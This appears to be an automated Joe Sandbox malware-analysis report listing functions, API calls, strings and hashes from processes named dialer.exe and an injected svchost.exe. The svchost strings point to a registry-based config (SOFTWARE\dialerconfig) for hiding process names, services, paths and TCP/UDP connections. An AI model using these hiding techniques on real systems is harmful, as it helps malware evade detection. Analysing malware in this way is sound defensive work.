Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: dialer.exePID: 7728, Parent PID: 7368COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFlushVirtualMemory.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: FlushMemoryVirtual
String ID:
API String ID: 3327305600-0
Opcode ID: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
Instruction ID: 35ac0efe93fe85c119e55826d4317f241f31154ff2ae5808118bfd6961f8b30b
Opcode Fuzzy Hash: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
Instruction Fuzzy Hash: B5F09DB2608B408AEA12DB52F89579A77A0F38D7C0F00991ABBC843735DB38C190CB40

Non-executed Functions

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

X, xrefs: 0000000140002C93
`, xrefs: 0000000140002CAB
0, xrefs: 00000001400028F9
\BaseNamedObjects\fzjpudgzjtiqjjkhgcgqpixo, xrefs: 00000001400026E9

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\fzjpudgzjtiqjjkhgcgqpixo$`
API String ID: 597572034-2421778612
Opcode ID: 7ae1bb7e4b724b2ef69abbdd7b91bcb67c75066fc2420774548d9815dca7bf36
Instruction ID: 82904f839f72ce91394cb6233b55af986959722d867cc147669b016d1af11518
Opcode Fuzzy Hash: 7ae1bb7e4b724b2ef69abbdd7b91bcb67c75066fc2420774548d9815dca7bf36
Instruction Fuzzy Hash: 9A1259B2608B8481E762CB16F8443EAB7A4F789794F414215EBA957BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT(?,?,?,0000000140001156), ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT(?,?,?,0000000140001156), ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT ref: 000000014000132D

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 5ca3ecd3b8f5a2a492a9a5c1193d787b93bdfe1a80292afba9e010da7a34cac9
Instruction ID: 463d8eadf6764cf81835e2f5447ee9fd2fbaf236c41788732bd38f3ca502ba48
Opcode Fuzzy Hash: 5ca3ecd3b8f5a2a492a9a5c1193d787b93bdfe1a80292afba9e010da7a34cac9
Instruction Fuzzy Hash: 5A5123B1611A4085FB16EF27F9947EA27A5AB8D7D0F849121FB4D873B6DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C98,0000000140007C98,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C98,0000000140007C98,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C98,0000000140007C98,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
Address %p has no image-section, xrefs: 0000000140001CF4
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: e517ed0b8cdf57a22d67b328a99ff54f7bc18a125c4613c36cab77cbedee8045
Instruction ID: 5c7ee5ee1b8a04923d5a96a0df04d384374ee326a967495c8333b08c7993e382
Opcode Fuzzy Hash: e517ed0b8cdf57a22d67b328a99ff54f7bc18a125c4613c36cab77cbedee8045
Instruction Fuzzy Hash: 294143F1601A4586FA26DF47F884BE927A0E78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: f2f02a323082eb92972feb3cd2d3233a2b516d0287600d84264fd9060dbe8c55
Instruction ID: 85fbb11ae3983d049e5aa99e15e4bef804ab9b98c2283f83d64eac87ba6817d4
Opcode Fuzzy Hash: f2f02a323082eb92972feb3cd2d3233a2b516d0287600d84264fd9060dbe8c55
Instruction Fuzzy Hash: 9221E3B0705A0292FA5BEB53F9583E92360B76CBD0F444021FB1E476B4DB7A8986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
Instruction ID: 838ee2c544bf2803730cc930bbb0f4a86f91135578be0a2b6e08d954fec56f6a
Opcode Fuzzy Hash: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
Instruction Fuzzy Hash: A72159B1A0110642FA77DA1BB5943FA1182ABCD7E4F258535BF1A473F9DE3C88828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: ee5502d3effd7a536878bdf8aefb10f3e022fdfcb9b8ee8412db7f6aa0d5b7eb
Instruction ID: 5534edb58951571e9cddb68e2d52a890a1341d8cf7b14363ea8337f027b41872
Opcode Fuzzy Hash: ee5502d3effd7a536878bdf8aefb10f3e022fdfcb9b8ee8412db7f6aa0d5b7eb
Instruction Fuzzy Hash: 215114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
Instruction ID: a02188ec0087b42d3f25a0ad686d1475033a3de64a4a15f6bec79cad075d9a0b
Opcode Fuzzy Hash: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
Instruction Fuzzy Hash: 1DF09671A14A4482E612EF6AB9417ED6360E75D7C1F50D211FF4D576A5DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 0000002D.00000002.3586479201.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3586096663.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3586840968.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587189398.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3587484089.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6aed334ba28e281145827aad8106e07ad7f1f3d084932f70a39d4ad6c8ab7699
Instruction ID: fd5d896073a876b2497a5a253350f949cfb4402a0739e06ef74f700dacb1e49b
Opcode Fuzzy Hash: 6aed334ba28e281145827aad8106e07ad7f1f3d084932f70a39d4ad6c8ab7699
Instruction Fuzzy Hash: 0801AFB5705A0192FA5BDB53FE083E86260B76CBD1F454021EF0953AB4DB798996C200

Analysis Process: dialer.exePID: 7780, Parent PID: 7368COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 0000002F.00000002.3586212031.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002F.00000002.3585787306.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3586212031.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002F.00000002.3597550484.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Analysis Process: svchost.exePID: 444, Parent PID: 7672COMMON

Executed Functions

Function 00000257E10A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1633
HeapAlloc.KERNEL32 ref: 00000257E10A1642

Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A126E
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A127D
Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A1297
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
RegCloseKey.ADVAPI32 ref: 00000257E10A1734
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
RegCloseKey.ADVAPI32 ref: 00000257E10A176F
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA
RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
RegCloseKey.ADVAPI32 ref: 00000257E10A1820
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
RegCloseKey.ADVAPI32 ref: 00000257E10A185B
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
RegCloseKey.ADVAPI32 ref: 00000257E10A1896
RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Part of subcall function 00000257E10A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A1327
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A1338
Part of subcall function 00000257E10A12BC: RegEnumValueW.ADVAPI32 ref: 00000257E10A1397
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A13ED
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A140A
Part of subcall function 00000257E10A12BC: HeapFree.KERNEL32 ref: 00000257E10A1418
Part of subcall function 00000257E10A12BC: lstrlenW.KERNEL32 ref: 00000257E10A1421
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A142F
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A143D

Strings

startup, xrefs: 00000257E10A16D5
udp, xrefs: 00000257E10A1874
paths, xrefs: 00000257E10A1788
process_names, xrefs: 00000257E10A174D
tcp_local, xrefs: 00000257E10A17FE
pid, xrefs: 00000257E10A1712
tcp_remote, xrefs: 00000257E10A1839
service_names, xrefs: 00000257E10A17C3
SOFTWARE\dialerconfig, xrefs: 00000257E10A1692

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 16feaae96375266c24b17968b5a080657b5ae57e6ff703aba3d68dcbcffacad4
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2F711736358F1486EB15DF22FC5BB9963B4FB88B8AF001561EA4E47A68DF38C444C358

Function 00000257E10A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000257E10A32AE
PathFindFileNameW.SHLWAPI ref: 00000257E10A32BD

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

Part of subcall function 00000257E10A3790: GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

CreateThread.KERNEL32 ref: 00000257E10A330B

Part of subcall function 00000257E10A1D14: GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: aade9cdc764c3959dde9a52c1c94ad6719753b48d41f7c1d1db878778cbbdd05
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A411F93269CF008AFB6EA761FC0F79E2294B7A4347F4081A5D906496D0EF7CC044C62C

Function 00000257E10A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000257E10A1628: GetProcessHeap.KERNEL32 ref: 00000257E10A1633
Part of subcall function 00000257E10A1628: HeapAlloc.KERNEL32 ref: 00000257E10A1642
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1734
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A176F
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA

Sleep.KERNEL32 ref: 00000257E10A1AD7
SleepEx.KERNEL32 ref: 00000257E10A1ADD

Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1820
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A185B
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1896
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: d712d7bd41ce4f32cb42d1788969e2e1ab98e8c502d066c5c5fdd1db537eb6f4
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 9F31F871298F4582FF5E9726FE4B3E923A4AB44BC2F0858615E0987695FF34C451C228

Function 00000257E107273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000257E107285E

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e1821c6af69327561f239fb501c7fdcfb84665abf8bb743926d129d5342e2f1a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E617572B49B9087DB5AEF14E80B73DB3A2F744BE5F188161DE4903788CA78D852C704

Non-executed Functions

Function 00000257E10A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000257E10A2BD0
lstrlenW.KERNEL32 ref: 00000257E10A2E0A

Part of subcall function 00000257E10A199C: OpenProcess.KERNEL32 ref: 00000257E10A19C2
Part of subcall function 00000257E10A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
Part of subcall function 00000257E10A199C: PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
Part of subcall function 00000257E10A199C: lstrlenW.KERNEL32 ref: 00000257E10A19FB
Part of subcall function 00000257E10A199C: StrCpyW.SHLWAPI ref: 00000257E10A1A0E
Part of subcall function 00000257E10A199C: CloseHandle.KERNEL32 ref: 00000257E10A1A1C

GetProcAddress.KERNEL32 ref: 00000257E10A2BE5

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

StrCmpNIW.SHLWAPI ref: 00000257E10A2C28
lstrlenW.KERNEL32 ref: 00000257E10A2D50

Strings

NtQueryObject, xrefs: 00000257E10A2BDB
ntdll.dll, xrefs: 00000257E10A2BC9
\Device\Nsi, xrefs: 00000257E10A2C1B

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a05134c9a34ff4c1d66afd38e5ef54d71b3b96099cc726008d15654598d14383
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 3BB1D032258F5482EB6EDF25EC4B7A963A5F744B86F0450A6EE0953B95DF34CC80C398

